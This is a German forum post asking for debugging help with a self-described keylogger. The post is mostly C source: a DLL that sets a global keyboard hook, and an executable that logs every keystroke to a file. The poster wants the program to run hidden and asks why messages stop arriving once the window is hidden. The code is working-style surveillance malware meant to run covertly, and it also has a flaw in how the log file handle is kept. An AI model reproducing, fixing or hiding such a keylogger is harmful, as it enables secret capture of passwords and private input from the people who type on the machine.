?
Hallo zusammen,
sorry für mein Deutsch.
Also ich schreibe einen Keylogger der alle Tastatureingaben protokoliert.
Also alles funktioniert soweit. Nun versuche ich das Hauptfenster von Application nicht erscheinen zu lassen, in demm ich an ShowWindow SW_HIDE als zweite Param. übergebe.
Nun wie gewünscht läuft das Programm quasi im Hintergrund.
Das Problem dabei ist, dass der exe keine Nachrichtem mehr von dll empfängt.
Weiss jemand ein Rat???
Wäre echt klasse.
so sieht der code:
DLL
// hooklib.c
#include <windows.h>
HHOOK hHook;
HINSTANCE hInst;
HWND hwnd;
EXPORT BOOL CALLBACK InstallHook(HWND hParent) ;
EXPORT BOOL CALLBACK UninstallHook(void) ;
EXPORT DWORD CALLBACK CheckKey( int, WORD, LONG);
//---------------------------------------------------------------------------
int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH :
hInst = hInstance;
break ;
}
return TRUE;
}
//---------------------------------------------------------------------------
EXPORT BOOL CALLBACK InstallHook(HWND hParent)
{
HOOKPROC lpfnHookProc = NULL;
hwnd = hParent;
lpfnHookProc = GetProcAddress(GetModuleHandle("hooklib.dll"),"_CheckKey@12");
hHook = SetWindowsHookEx(WH_KEYBOARD, lpfnHookProc, hInst, NULL);
return TRUE;
}
//---------------------------------------------------------------------------
EXPORT BOOL CALLBACK UninstallHook(void)
{
UnhookWindowsHookEx(hHook);
return TRUE;
}
//---------------------------------------------------------------------------
EXPORT DWORD CALLBACK CheckKey(int nCode, WORD wParam, LONG lParam)
{
if((nCode < 0) || nCode == HC_NOREMOVE)
return CallNextHookEx(hHook, nCode, wParam, lParam);
// Skip if it's a repeat
if(lParam & 0x40000000)
return CallNextHookEx(hHook, nCode, wParam, lParam);
// Send key information to the main window
SendMessage(hwnd, WM_KEYHOOK, wParam, lParam);
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
und so der .exe
#include <windows.h>
#include <stdio.h>
EXPORT BOOL CALLBACK InstallHook(HWND hParent) ;
EXPORT BOOL CALLBACK UninstallHook(void) ;
EXPORT DWORD CALLBACK CheckKey( int, WORD, LONG);
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM);
HWND hwnd;
int WINAPI WinMain (HINSTANCE hI, HINSTANCE hPrI, PSTR szCmdLine, int iCmdShow)
{
char szAppName[] = "Fenstername";
WNDCLASS wc;
MSG msg;
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpfnWndProc = WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hI;
wc.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor (NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wc.lpszMenuName = NULL;
wc.lpszClassName = szAppName;
RegisterClass (&wc);
hwnd = CreateWindow(szAppName, NULL, WS_OVERLAPPEDWINDOW, 200, 100, 0, 0, NULL, NULL, hI, NULL);
ShowWindow (hwnd, SW_HIDE); // <<<<<<< Problem hier ???
UpdateWindow (hwnd);
while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}
// Windows-Nachrichten-Prozedur
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
FILE *f = NULL;
WORD p;
char buf[256];
int zeich;
switch (message)
{
case WM_CREATE:
f = fopen("C:\\test.txt", "a+");
InstallHook(hwnd);
return 0;
case WM_KEYHOOK:
GetKeyboardState(buf);
ToAscii(wParam,lParam,buf,&p,0);
fprintf(f,"%c",(char)p);
return 0;
case WM_DESTROY:
UninstallHook();
fclose(f);
PostQuitMessage (0);
return 0;
}
return DefWindowProc (hwnd, message, wParam, lParam);
}